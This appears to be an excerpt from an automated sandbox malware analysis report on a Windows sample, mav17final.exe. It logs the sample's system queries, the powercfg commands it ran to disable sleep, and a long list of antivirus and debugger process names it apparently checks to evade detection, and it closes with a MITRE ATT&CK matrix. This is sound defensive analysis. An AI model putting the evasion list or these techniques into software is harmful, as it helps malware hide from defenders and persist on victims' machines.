Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 0_2_00007FF79EA4C390 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF79EA4C390

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 0_2_00007FF79EA617BC _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF79EA617BC

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9074610 RtlGetVersion,GetSystemInfo,InitializeCriticalSection,

2_2_00007FF8B9074610

Source: C:\Windows\System32\dwm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: fsgk32st.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: avguard.exe
Source: mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2067450371.0000018718D54000.00000004.00001000.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: savadminservice.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: avcenter.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: f-prot.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: BullGuard.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: cfp.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zlclient.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: GDFwSvc.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dwengine.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: drweb32w.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: avgtray.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: McShield.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: a2guard.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: savservice.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: fsav.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: a2service.exe

Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B93C5610 _PyArg_ParseTuple_SizeT,PyEval_SaveThread,listen,PyEval_RestoreThread,_Py_NoneStruct,		2_2_00007FF8B93C5610
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B93C45E8 PySys_Audit,PyEval_SaveThread,bind,PyEval_RestoreThread,_Py_NoneStruct,		2_2_00007FF8B93C45E8

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	12 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Service Execution	1 Bootkit	12 Windows Service	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	111 Process Injection	1 DLL Side-Loading	NTDS	27 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	341 Security Software Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
